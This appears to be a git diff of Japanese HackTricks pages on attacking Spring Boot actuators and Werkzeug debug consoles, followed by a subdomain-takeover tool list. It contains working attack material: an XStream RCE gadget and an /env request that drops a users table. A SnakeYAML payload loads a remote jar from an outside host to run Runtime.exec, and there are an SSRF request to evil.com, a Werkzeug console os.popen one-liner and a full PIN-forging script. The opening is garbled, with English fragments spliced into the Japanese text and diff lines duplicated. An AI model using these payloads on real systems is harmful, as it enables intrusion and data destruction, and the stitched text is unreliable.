</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
```
```markdown
このXStreamペイロードは、[Marshalsec research](https://github.com/mbechler/marshalsec)からのImageIO JDK-onlyガジェットチェーンをわずかに変更したものです。唯一の違いは、`jdk.nashorn.internal.objects.NativeString.hashCode()`メソッドをトリガーするために**LinkedHashSet**を使用していることです。元のペイロードはjava.lang.Mapを利用して同じ動作を実現していますが、EurekaのXStream設定には[カスタムコンバーター for maps](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58)があり、それを使用することはできません。上記のペイロードはMapsを一切使用せず、追加の制約なしでRemote Code Executionを実現することができます。
Spring Actuatorsを使用すると、内部Eurekaサーバーにアクセスできない場合でも、この脆弱性を利用することができます。"/env"エンドポイントが利用可能であれば十分です。 3. **Other Useful Settings**:
- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.
**その他の有用な設定:** ### **Additional Information:**
**spring.datasource.tomcat.validationQuery=drop+table+users** - 任意のSQLクエリを指定でき、現在のデータベースに対して自動的に実行されます。insert、update、deleteなどのステートメントであっても構いません。 - A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.
![Exploiting Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_drop_table.png) ### **Related Topics:**
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - 現在のJDBC接続文字列を変更することができます。 1. **Env + H2 RCE**:
- Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
最後の設定は素晴らしそうですが、問題はアプリケーションがデータベース接続を既に確立している場合、JDBC文字列を更新しても効果がないことです。幸いなことに、この場合に役立つ別のプロパティがあります: 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
- Example exploit request:
**spring.datasource.tomcat.max-active**=777
ここで使用できるトリックは、データベースへの同時接続数を増やすことです。したがって、JDBC接続文字列を変更し、接続数を増やした後、アプリケーションに多くのリクエストを送信して重い負荷をシミュレートします。負荷の下で、アプリケーションは更新された悪意のあるJDBC文字列で新しいデータベース接続を作成します。この技術はローカルでMysqlに対してテストし、うまく機能しました。
![Exploiting Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_max_active.png)
それ以外にも、興味深いが実際にはあまり役に立たないプロパティがあります:
**spring.datasource.url** - データベース接続文字列(最初の接続にのみ使用)
**spring.datasource.jndiName** - データベースJNDI文字列最初の接続にのみ使用
**spring.datasource.tomcat.dataSourceJNDI** - データベースJNDI文字列全く使用されていない
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - spring cloud config urlアプリ開始後には効果がなく、初期値のみが使用されます。
これらのプロパティは、'/restart'エンドポイントが呼び出されない限り、効果がありません。このエンドポイントはすべてのApplicationContextを再起動しますが、デフォルトでは無効になっています。
他にも多くの興味深いプロパティがありますが、変更後すぐに効果があるものはほとんどありません。
**N.B.** Spring Boot 2xでは、'/env'エンドポイントを介してプロパティを変更するためのリクエストフォーマットが少し異なりますjson形式を使用しますが、アイデアは同じです。
**脆弱なアプリの例:**
この脆弱性をローカルでテストしたい場合は、私のGithubページに[simple Spring Boot application](https://github.com/artsploit/actuator-testbed)を作成しました。データベース設定を除いて、すべてのペイロードがそこで動作するはずです(設定されている場合)。
**ブラックボックス発見:**
デフォルトのアクチュエーターの完全なリストはこちらで見つけることができます: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)。アプリケーション開発者は@Endpointアテーションを使用して独自のエンドポイントを作成することができることに注意してください。
**2019年5月の更新:**
Spring環境プロパティの変更を介してRCEを実現するより信頼性の高い方法があります:
```
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
```
このリクエストは、外部設定を読み込み、それをYAML形式で解析するために使用される 'spring.cloud.bootstrap.location' プロパティを変更します。これを実現するためには、'/refresh' エンドポイントを呼び出す必要もあります。
```
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
```markdown
YAML設定がリモートサーバーから取得されると、それはSnakeYAMLライブラリで解析されます。このライブラリも逆シリアル化攻撃に対して脆弱です。ペイロードyaml-payload.ymlは、前述のMarshalsecの研究を使用して生成されるかもしれません
```
```
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
```
このファイルのデシリアライズは、提供されたURLClassLoaderを使用してScriptEngineManagerのコンストラクタの実行をトリガーします。簡単に言うと、**'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'** メソッドに至り、クラスパス内のすべてのライブラリで'ScriptEngineFactory'インターフェースのすべての実装を探します。URLClassLoaderを介して新しいライブラリを追加できるため、悪意のあるバイトコードを内蔵した新しい'ScriptEngineFactory'を提供できます。これを行うためには、以下の必須ファイルを含むjarアーカイブを作成する必要があります[yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) は、コンストラクタに悪意のあるペイロードを含む実際のバイトコードを含むべきです。
```
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
```
```markdown
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory)は、ServiceLoaderがクラスを見つける場所を知るために、'artsploit.AwesomeScriptEngineFactory'への完全な参照を含むテキストファイルであるべきです: **artsploit.AwesomeScriptEngineFactory** この攻撃技術はspring cloudがクラスパスにあることを要求しますが、EurekaのXStreamペイロードと比較して、最新バージョンでも機能します。完全なペイロードは私のgithubプロジェクトで見つけることができます: [yaml-payload](https://github.com/artsploit/yaml-payload)。
## Env + H2 RCE
/env + H2の組み合わせを利用する方法については、このページを参照してください: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## Spring Bootでの不正確なパス名解釈によるSSRF <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
[**この研究から**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): Springフレームワークは、HTTPパス名の最初のスラッシュの前にマトリックスパラメータセパレータ文字 `;` を受け入れます:
```
```http
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
```
以下のようなシナリオを考えてみましょう:
<figure><img src="../../.gitbook/assets/image (717).png" alt="" width="563"><figcaption></figcaption></figure>
Springではマトリックスパラメータセパレータに続く任意の文字を許可しているため、`@` 文字を使用して任意のエンドポイントを取得することも可能です。
以下にエクスプロイトリクエストの例を示します:
```http ```http
GET ;@evil.com/url HTTP/1.1 GET ;@evil.com/url HTTP/1.1
Host: target.com Host: target.com
Connection: close Connection: close
``` ```
## 詳細情報
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -2,90 +2,69 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **フォロー** してください
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する** * **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください
</details> </details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペネトレーションテストを実行でき、リコンからレポーティングまでの20以上のツールと機能を備えています。私たちはペネトレーターを置き換えるものではありません - 私たちはカスタムツール、検出・エクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためのものです。 **どこからでも利用可能な脆弱性評価&ペネトレーションテストのための即時セットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用して完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
## コンソール RCE ## コンソール RCE
デバッグがアクティブな場合、`/console`にアクセスしてRCEを獲得することができます デバッグが有効な場合、`/console` にアクセスして RCE を取得しよう
```python ```python
__import__('os').popen('whoami').read(); __import__('os').popen('whoami').read();
``` ```
![](<../../.gitbook/assets/image (317).png>) ![](<../../.gitbook/assets/image (317).png>)
インターネット上には、[このような](https://github.com/its-arun/Werkzeug-Debug-RCE)またはmetasploitにあるいくつかのエクスプロイトも存在します。 インターネット上には[これ](https://github.com/its-arun/Werkzeug-Debug-RCE)のような脆弱性がいくつか存在します。また、metasploitにも同様のものがあります。
## ピン保護 - パストラバーサル ## Pin Protected - パストラバーサル
場合によっては、**`/console`** エンドポイントがピンで保護されていることがあります。**ファイルトラバーサルの脆弱性**がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。 場合によっては、**`/console`** エンドポイントがPINで保護されることがあります。**ファイルトラバーサルの脆弱性**がある場合、そのPINを生成するために必要なすべての情報を漏洩させることができます。
### Werkzeug コンソール PIN エクスプロイト ### Werkzeug Console PIN Exploit
**最初のリンクからコピーしました。**\ アプリ内でデバッグエラーページを強制して、次のように表示されるようにします:
アプリでデバッグエラーページを強制することにより、Werkzeugの「コンソールロック」メッセージを確認します。
``` ```
The console is locked and needs to be unlocked by entering the PIN. The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your You can find the PIN printed out on the standard output of your
shell that runs the server shell that runs the server
``` ```
脆弱なWerkzeugデバッグコンソールは`vulnerable-site.com/console`のパスで見つけられますが、秘密のPIN番号でロックされています。 Werkzeugのデバッグインターフェースにアクセスしようとすると、「コンソールがロックされている」というシナリオに遭遇し、コンソールをアンロックするためにPINが必要であることが示されます。Werkzeugのデバッグ初期化ファイル`__init__.py`内のPIN生成アルゴリズムを解析してコンソールPINを悪用することが提案されています。PIN生成メカニズムは[**Werkzeugソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)から調査できますが、潜在的なバージョンの不一致のため、実際のサーバーコードをファイルトラバーサルの脆弱性を利用して入手することが推奨されています。
コンソールPINを生成するアルゴリズムを逆にすることができます。サーバー上のWerkzeugのデバッグ`__init__.py`ファイルを調べてください。例:`python3.5/site-packages/werkzeug/debug/__init__.py`。PINがどのように生成されるかを確認するために、[**Werkzeugソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)を見ることができますが、バージョンが異なる可能性が高いので、**ファイルトラバーサルの脆弱性**を通じてソースコードをリークする方が良いでしょう。 コンソールPINを悪用するためには、`probably_public_bits`と`private_bits`の2つの変数セットが必要です
コンソールPINを悪用するために必要な変数
```python
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
```
#### **`probably_public_bits`** #### **`probably_public_bits`**
- **`username`**Flaskセッションを開始したユーザーを指します。
- **`modname`**:通常は`flask.app`と指定されます。
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**:一般的には**Flask**に解決します。
- **`getattr(mod, '__file__', None)`**Flaskディレクトリ内の`app.py`への完全なパスを表します(例:`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py`が適用されない場合は、**`app.pyc`を試してください**。
* **`username`** はこのFlaskを起動したユーザーです #### **`private_bits`**
* **`modname`** は flask.app です - **`uuid.getnode()`**現在のマシンのMACアドレスを取得し、`str(uuid.getnode())`で10進数形式に変換します。
* `getattr(app, '__name__', getattr(app.__class__, '__name__'))`**Flask** です - **サーバーのMACアドレスを特定**するには、アプリが使用するアクティブなネットワークインターフェースを特定する必要があります(例:`ens3`。不確実な場合は、デバイスIDを見つけるために**`/proc/net/arp`をリーク**し、その後**`/sys/class/net/<device id>/address`**からMACアドレスを抽出します。
* `getattr(mod, '__file__', None)` は flaskディレクトリ内の **`app.py`の絶対パス** です(例:`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。もし `app.py` が機能しなければ、**`app.pyc`を試してください** - 16進数のMACアドレスを10進数に変換する方法は以下の通りです
#### `private_bits`
* `uuid.getnode()`**現在のコンピュータのMACアドレス** で、`str(uuid.getnode())` はMACアドレスの10進数表現です。
* **サーバーのMACアドレスを見つける**には、アプリを提供している**使用中のネットワークインターフェース**が何かを知る必要があります(例:`ens3`。不明な場合は、デバイスIDのために **`/proc/net/arp`をリーク** し、その後 **`/sys/class/net/<device id>/address`で** MACアドレスを**リーク**します。
**16進数アドレスから10進数** 表現に変換するには、例えばpythonで以下を実行します
```python ```python
# これは 56:00:02:7a:23:ac でした # 例のMACアドレス56:00:02:7a:23:ac
>>> print(0x5600027a23ac) >>> print(0x5600027a23ac)
94558041547692 94558041547692
``` ```
* `get_machine_id()`**`/etc/machine-id`** または **`/proc/sys/kernel/random/boot_id`** の値を、最後のスラッシュ (`/`) の後の **`/proc/self/cgroup`の最初の行** と結合します。 - **`get_machine_id()`**`/etc/machine-id`または`/proc/sys/kernel/random/boot_id`からのデータを、`/proc/self/cgroup`の最後のスラッシュ(`/`)の後の最初の行と連結します。
<details> <details>
<summary>`get_machine_id()`のコード</summary>
<summary>get_machine_id() コード</summary>
```python ```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]: def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id global _machine_id
@ -125,23 +104,25 @@ try:
``` ```
</details> </details>
すべての変数が準備されたら、WerkzeugコンソールPINを生成するためのexploitスクリプトを実行します: 必要なすべてのデータをまとめた後、脆弱性スクリプトを実行してWerkzeugコンソールのPINを生成できます。
必要なすべてのデータをまとめた後、脆弱性スクリプトを実行してWerkzeugコンソールのPINを生成します。スクリプトは組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後さらなる処理を経て最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです
```python ```python
import hashlib import hashlib
from itertools import chain from itertools import chain
probably_public_bits = [ probably_public_bits = [
'web3_user',# username 'web3_user', # username
'flask.app',# modname 'flask.app', # modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
] ]
private_bits = [ private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address '279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id 'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
] ]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 # h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1() h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits): for bit in chain(probably_public_bits, private_bits):
if not bit: if not bit:
@ -150,7 +131,7 @@ if isinstance(bit, str):
bit = bit.encode('utf-8') bit = bit.encode('utf-8')
h.update(bit) h.update(bit)
h.update(b'cookiesalt') h.update(b'cookiesalt')
#h.update(b'shittysalt') # h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20] cookie_name = '__wzd' + h.hexdigest()[:20]
@ -159,7 +140,7 @@ if num is None:
h.update(b'pinsalt') h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9] num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None rv = None
if rv is None: if rv is None:
for group_size in 5, 4, 3: for group_size in 5, 4, 3:
if len(num) % group_size == 0: if len(num) % group_size == 0:
@ -171,8 +152,10 @@ rv = num
print(rv) print(rv)
``` ```
このスクリプトは、ビットを連結してハッシュ化し、特定のソルト(`cookiesalt`と`pinsalt`を追加し、出力をフォーマットしてPINを生成します。生成されるPINがWerkzeugコンソールで期待されるPINと一致するようにするには、`probably_public_bits`と`private_bits`の実際の値をターゲットシステムから正確に取得する必要があります。
{% hint style="success" %} {% hint style="success" %}
**古いバージョン**のWerkzeugを使用している場合は、ハッシュアルゴリズムをsha1から**md5に変更してみてください**。 Werkzeugの**古いバージョン**を使用している場合は、ハッシュアルゴリズムをsha1から**md5に変更**してみてください。
{% endhint %} {% endhint %}
## 参考文献 ## 参考文献
@ -182,20 +165,20 @@ print(rv)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペネトレーションテストを実行できます。リコンからレポーティングまで、20以上のツールと機能があります。私たちはペネトレーターを置き換えるものではありません - より深く掘り下げ、シェルをポップし、楽しむために彼らに時間を返すために、カスタムツール、検出・エクスプロイトモジュールを開発しています。 **脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レコンからレポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げ、シェルをポップし、楽しんでもらう時間を与えます。
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></strong></summary> <summary><strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksのPDFをダウンロード**したり、**HackTricksを広告**してもらいたい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください** * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>

View file

@ -2,172 +2,111 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックす - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。 - **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で**最も先進的な**コミュニティツールを駆使した**ワークフローを簡単に構築し自動化する**。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセス: 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ドメインの乗っ取り ## ドメインの乗っ取り
あるドメインdomain.tldが**スコープ内のサービスに使用されている**が、**会社**がその**所有権**を**失った**場合、それを**登録**できる(十分に安価な場合)し、会社に知らせることができます。このドメインが**GET**パラメーターや**Referer**ヘッダーを介してセッションクッキーのような**機密情報**を受け取っている場合、これは間違いなく**脆弱性**です。 スコープ内で**サービスに使用されているドメインdomain.tld**を発見した場合、**企業**が**所有権を失っている**可能性があります。そのドメインを**登録**して企業に通知することができます(安価であれば)。このドメインが**セッションクッキーなどの**機密情報を受信している場合(**GET**パラメーターまたは**Referer**ヘッダー経由)、これは間違いなく**脆弱性**です。
### サブドメインの乗っ取り ### サブドメインの乗っ取り
会社のサブドメインが**登録されていないサードパーティサービスを指している**。この**サードパーティサービス**で**アカウントを作成**し、使用中の**名前を登録**できれば、サブドメインの乗っ取りを行できます。 企業のサブドメインが**登録されていない名前のサードパーティサービス**を指している場合、この**サードパーティサービス**で**アカウントを作成**し、使用中の**名前****登録**することで、サブドメインの乗っ取りを行うことができます。
乗っ取り可能なサブドメインをチェックするための辞書を備えたいくつかのツールがあります: 可能な乗っ取りをチェックするための辞書を持ついくつかのツールがあります:
* [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) - [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
* [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot) - [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot)
* [https://github.com/punk-security/dnsReaper](https://github.com/punk-security/dnsReaper) - [https://github.com/punk-security/dnsReaper](https://github.com/punk-security/dnsReaper)
* [https://github.com/haccer/subjack](https://github.com/haccer/subjack) - [https://github.com/haccer/subjack](https://github.com/haccer/subjack)
* [https://github.com/anshumanbh/tko-subs](https://github.com/anshumanbh/tko-subs) - [https://github.com/anshumanbh/tko-sub](https://github.com/anshumanbh/tko-subs)
* [https://github.com/ArifulProtik/sub-domain-takeover](https://github.com/ArifulProtik/sub-domain-takeover) - [https://github.com/ArifulProtik/sub-domain-takeover](https://github.com/ArifulProtik/sub-domain-takeover)
* [https://github.com/SaadAhmedx/Subdomain-Takeover](https://github.com/SaadAhmedx/Subdomain-Takeover) - [https://github.com/SaadAhmedx/Subdomain-Takeover](https://github.com/SaadAhmedx/Subdomain-Takeover)
* [https://github.com/Ice3man543/SubOver](https://github.com/Ice3man543/SubOver) - [https://github.com/Ice3man543/SubOver](https://github.com/Ice3man543/SubOver)
